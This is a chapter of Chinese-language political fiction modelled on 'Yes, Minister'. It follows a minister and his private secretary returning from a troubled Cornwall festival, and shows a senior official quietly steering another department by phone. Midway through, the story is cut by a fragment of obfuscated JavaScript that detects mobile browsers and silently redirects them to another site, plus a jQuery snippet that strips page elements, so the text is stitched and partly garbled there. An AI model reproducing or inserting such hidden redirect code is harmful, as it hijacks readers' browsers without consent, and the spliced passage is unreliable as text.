回程的火车晚点了。
返程预定的一等车厢两个连号座位。
查尔斯疲惫地靠着窗，一言不发。他已经换上了备用的衣物，但来自康沃尔的腥味好像还萦绕在身边。
西里尔在对面坐下，没有说话，只是打开了自己的笔记本，梳理起今天的事件和明天的待办事项，偶尔抬头看一眼对面闭目养神的查尔斯。
列车向东飞驰，圣迈克尔山的剪影在暮色中退去，窗外的景色从崎岖的海岸线逐渐过渡到连绵的丘陵和昏暗的河谷。落日的余晖渐渐被厚重的云层彻底吞噬，只剩下远处村庄的零星灯火。
在驶过皇家阿尔伯特大桥，跨越塔马河进入德文郡时，列车速度缓缓降了下来，窗外掠过一块写着“普利茅斯（PLYMOUTH）”的蓝底白字站牌。
这里是德文郡最大的城市，也是大西线上的一个重要枢纽，列车将在这里短暂停留。在康沃尔发生的事，《普利茅斯晚报》或许已经刊发了第一时间的报道。
伴随着一连串轻微的颠簸，列车在刺耳的金属摩擦声中停稳。
查尔斯似乎已经睡着了，头靠在车窗上，呼吸平稳。西里尔悄无声息地站起身，穿过摇晃的连接处，来到车厢门口。
站台上灯火通明，几个穿着英国铁路制服的工作人员正推着行李车走过。
他掐着表，快步朝站台尽头的报刊亭（W. H. Smith）走去。
“晚上好，请给我一……给我两份《普利茅斯晚报》。”
“一共是二十四便士，先生。”报贩从一叠报纸里抽出两份递给他。
西里尔在口袋里摸索了一下，最后递出一张一英镑纸币：“抱歉，没有零钱。”
“没事。”报贩接过纸币，打开钱箱，开始一枚一枚地往外数着硬币：“……这是五十便士、十便士……”
一声尖锐的哨声响起。
西里尔回头一看，列车长已经举起了绿色的信号旗。
“不用找了，先生！剩下的给您当小费了！（Keep the change!）”他几乎是喊着说出这句话，抓起报纸转身就跑。
“感谢你，先生！（Cheers, sir!）”报贩在后面抬手回了个谢意。
皮鞋鞋底敲击着水泥站台，发出急促的“哒哒”声。西里尔听见自己身后传来一连串车门被大力关上的“砰、砰”声，一声比一声更近。
当他冲到自己的车厢门口，一名列车员已经伸手准备去拉沉重的车门把手。
“请等一下！”西里尔喊道。
列车员看到了气喘吁吁的他，皱了皱眉，但还是把手缩了回去，为他留出了空间：“快点，先生！（Quickly now, sir!）”
“抱歉，先生。”西里尔一把抓住扶手，踏上台阶。
脚下的列车缓缓向前滑动，列车员在他身后“砰”的一声关上了门，将站台上的喧嚣隔绝在外。
西里尔靠在车厢壁上，平复着急促的呼吸，怀里的报纸被捏得有些发皱，他抽出一份打开……
西里尔回到一等座位区时，发现查尔斯不知何时已经睁开了眼睛。
“抱歉，我以为您睡着了，大臣。”他一边将报纸放在小桌上，一边整理了一下自己的领带，试图掩饰刚才的狼狈。
“还好？”查尔斯开口，声音有些沙哑。
“Yes, Minister.”西里尔说，看着查尔斯翻开报纸，“地方晚报的报道基调比预想的要温和，他们详细报道了您上午的研讨会。”
《普利茅斯晚报》的头版头条，用粗大的黑体字印着：
节日未开“大幕”先湿：大臣被渔民海带“祝福”(Festival Falters: Minister Gets Seaweed Salute)
下面是一张从舞台侧后方拍摄的黑白照片。照片里，查尔斯的背影显得有些孤单，而台下渔民们的表情复杂难辨。
查尔斯迅速浏览完内文，发现报道的基调比他预想的要平衡得多，甚至详细记述了他在上午研讨会上的承诺。他紧绷的肩膀稍稍放松了一些。
“接下来就等明天的晨报了，私人秘书处会尽可能处理好公关事宜的，大臣。”西里尔在一旁说。
“他们会怎么写？”
“《泰晤士报》会客观记录并分析事件的根源，《卫报》可能会上升到社会学层面进行分析，《电讯报》或许会谴责这场抗议。”西里尔小心避开了通俗报纸。
“看来你们的应急预案确实包括了媒体的公关预案。”查尔斯按了按额角，“兰伯特说的……那件事也是你们的预案之一吗？”
“大臣，我想这应该……只是一个程序上的巧合。环境部对二级保护建筑负有监管责任，大型公众活动确实会触发他们的安全评估程序。或许是您的访问提升了此次活动的受关注度，从而导致了环境部……更加严格地履行了他们的职责。”
“那真是……令人惊叹的巧合。”查尔斯看向窗外漆黑的夜色，“一个部门恰好在海鲜节开始前，对另一部门的地基安全表示‘关切’，然后又恰好在‘意外’发生后，欣然接受了‘安全顾虑’下的提前收场。”
他的眼前闪过兰伯特那张劫后余生的脸，接着是阿利斯泰那份备忘录里冷静的风险评估，以及那双仿佛能洞悉一切的灰绿色眼睛，有什么念头在他脑中一闪而过。
“西里尔。”查尔斯忽然回过头，“你汇报行程时，有没有向阿利斯泰……提及过防波堤问题？或者他有没有提到过相关的材料？”
西里尔瞬间回想起昨天在阿利斯泰办公室的简短汇报，想起Sir听到这个细节时深邃的目光，想起Sir做下的记录。他知道自己不能撒谎，也不该撒谎。
“Yes, Minister.”西里尔听到自己说，“在昨天的行前简报中，我将此作为地方背景信息的一部分，向代理常任秘书做了口头汇报。”
列车车厢连接处传来一阵有节奏的哐当声。
查尔斯沉默了。
他没有追问，只是慢慢地、慢慢地靠回了椅背，重新将目光投向窗外那无尽的黑暗。
他清晰地感觉到，在聚光灯照亮的舞台之外，有一张由程序、规则和看不见的默契织成的巨大网络。
——
——
——
时间倒回中午。
伦敦，白厅。
阿利斯泰在办公室里审阅西里尔临行前整理好的，关于各部门对“联络官机制”的初步反馈。
电话铃声响起，是内线。
“Sir。”一位助理秘书的声音传来，“环境部的副常任秘书，乔治·阿巴思诺特先生（Mr. Ge Arbuthnot）回电了。”
“接进来。”阿利斯泰拿起听筒，“乔治，下午好。我是阿利斯泰·卡文迪许，希望没有打扰到你。”
“不打扰，我正想找个由头离开办公室呢，很高兴接到你的电话。老朋友，听说你去了一个新部门？恭喜。”
“谈不上恭喜，乔治，只是换个地方服务而已。今天致电，是有一件小事，可能需要你这位专家的意见。”阿利斯泰靠向椅背，姿态放松，带着咨询的语气。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294777|182690||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“哦？请讲。”
“我们DSC正在进行一项关于‘地方关键资产协同维护’的梳理工作。你知道的，在当前环境下，确保国家关键资产的稳健运行，并识别跨部门协作中的潜在漏洞，是内阁办公厅的优先事项之一。在梳理到西南地区的档案时，一个案例引起了我们的注意——康沃尔的纽林港。那里的防波堤，我记得是维多利亚时期的工程杰作吧？”
“是的，1884年建的，二级保护建筑。怎么了？”
“没什么大事。只是我们注意到，今天那里正在举办一个规模不小的海鲜节。你知道，大量的游客、临时搭建的餐饮设施、增加的交通流量……我们只是从纯粹的风险管理的角度好奇，这类大型商业活动，对于这类历史悠久的基础设施的压力，你们环境部是否有相关的评估模型？或者说，地方议会在批准这类活动时，是否需要向你们报备，进行环境与安全影响评估？”
电话那头沉默了几秒钟。
乔治显然在快速思考这番话的潜台词。
“……通常情况下，地方议会有自主裁量权，阿利斯泰。但如果涉及二级保护建筑，且活动规模可能对其结构安全造成‘潜在的、不可逆的风险’，那么，是的，我们部门有权介入，要求他们提交详细的风险评估报告，并可能……建议他们暂缓或修改活动方案，直到安全疑虑被排除。”
“原来如此。”阿利斯泰像个恍然大悟的学生，“多谢你的专业解答，乔治，这对我很有帮助。毕竟，如果地方议会在规划审批上出现任何疏漏，导致这类历史建筑在公众活动中受损，恐怕不仅仅要面对议会质询委员会（Selectmittee）无休止的提问了。更重要的是，这将引发媒体对部门监管不力的集体挞伐，并可能导致大臣在下院承受巨大压力。这种后果，对部门的声誉和高层的人事布局，都不是一件好事。那总是件令人头疼的事，不是吗？”
“当然，当然。”乔治的声音严肃起来，“我会让我的下属去了解一下情况，确保所有程序都合规。多谢你的提醒，阿利斯泰。”
“不客气，非常感谢你的时间，乔治，改天俱乐部见。”阿利斯泰挂断电话，继续在DLO相关的简报和资料上做着批注。
——
——
——
回到伦敦，已是深夜。
查尔斯婉拒了西里尔送自己回酒店的提议，独自乘车回到布朗酒店。
他没有休息，而是拨通了一个号码。
电话几乎是立刻就被接起。
“维……阿利斯泰，康沃尔的事，我知道你会把它变成一份推动部门议程的完美案例。无论你明天提交什么来加强DSC的协调角色，我都会签署。但是，我也有我的条件。”
熟悉的语调传来：“您的指示，大臣。”
“我要今天上午那位向我提问的老渔民的全部资料，他的名字，他的船，他欠银行多少钱。我会打那个电话给银行。还有，我要一份关于设立‘渔业社区紧急困难补助基金’的可行性报告，一周内放在我的办公桌上。我要一个真正的解决方案，阿利斯泰，而不仅仅是让我们自己部门扩权的程序性胜利。”
“如您所愿，大臣。”阿利斯泰应道，“报告会准备好的。关于特伦高夫先生，他的个人资料和相关银行的联系方式，明早会和您的晨报一起送到。”
电话挂断。
查尔斯走到窗前，凝视着深夜里沉默的伦敦。
聚光灯下的表演已经结束，舞台的灯光早就熄灭了。而真正的游戏，在阴影深处，由那些冷静而不知疲倦的头脑，悄然续写着剧本。